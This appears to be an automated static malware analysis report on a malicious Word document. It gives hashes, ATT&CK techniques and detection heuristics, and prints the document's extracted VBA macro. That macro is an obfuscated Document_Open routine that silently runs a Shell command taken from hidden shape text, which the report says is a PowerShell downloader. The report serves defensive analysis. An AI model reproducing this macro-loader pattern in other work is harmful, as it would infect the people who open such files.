Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dbd8978e5692e11f…

MALICIOUS

Office (OLE)

68.1 KB Created: 2018-11-07 10:52:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: e95082476da54a351df6fcb940796381 SHA-1: bc700c6b73ae900354af7ba4ab933206b45f2b7a SHA-256: dbd8978e5692e11ff7bddd2817a10fbbb9938b8b7b8ccec0e9b5e8a25e633475
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that executes a complex PowerShell command. This command decodes a Base64 string, decompresses it, and then executes it using PowerShell's InvokeCommand method. The decoded payload likely downloads and executes a second-stage payload, indicated by the PowerShell invocation and the presence of cmd.exe execution flags.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6742794-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6742794-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 992 bytes
SHA-256: 0706cade054b07d075a84525dd2ede4a8af2e1dff0c1fa970413800465a20a22
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RzrNNoTDWoT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatDateTime (SOXSNP + aXXaa) + EUpjPB + rNKDiV + iWDLGI + Dimpj
   FormatDateTime BToLK + YwZGX + (UGFEU + sZfEUM - SNAlC + jEbquW + XCRjww + BnPwiS)
   TimeValue (Vwwbr + EXMXNq + (sPLic + pIzIX) + (SiwCG + nqhFuv + AjwtTZ + zAvznw))
   FormatDateTime APWobD + MGVFn + AUnVQn + frOjio / (SjzPKt + pRjGTr + TsYNmJ + jHdWJO)
Const FdAcjZUszw = 129842736 - 129842736
Shell@ Shapes(pFmdF + FvthK + 1 + PwwzM + SwfcmcVs).TextFrame.TextRange.Text + ijRtAjN + lTSsbmiD, FdAcjZUszw
   Error GWrZM + oAGYi + ItszK + mfvoXF / LLcdu + zaHio + qWZhN + bYijO / HHKdwb + wmUAr
   FormatNumber (MPBJLX + HBTBl + tNCik + OPicW + (WADDp + YHSoQ))
End Sub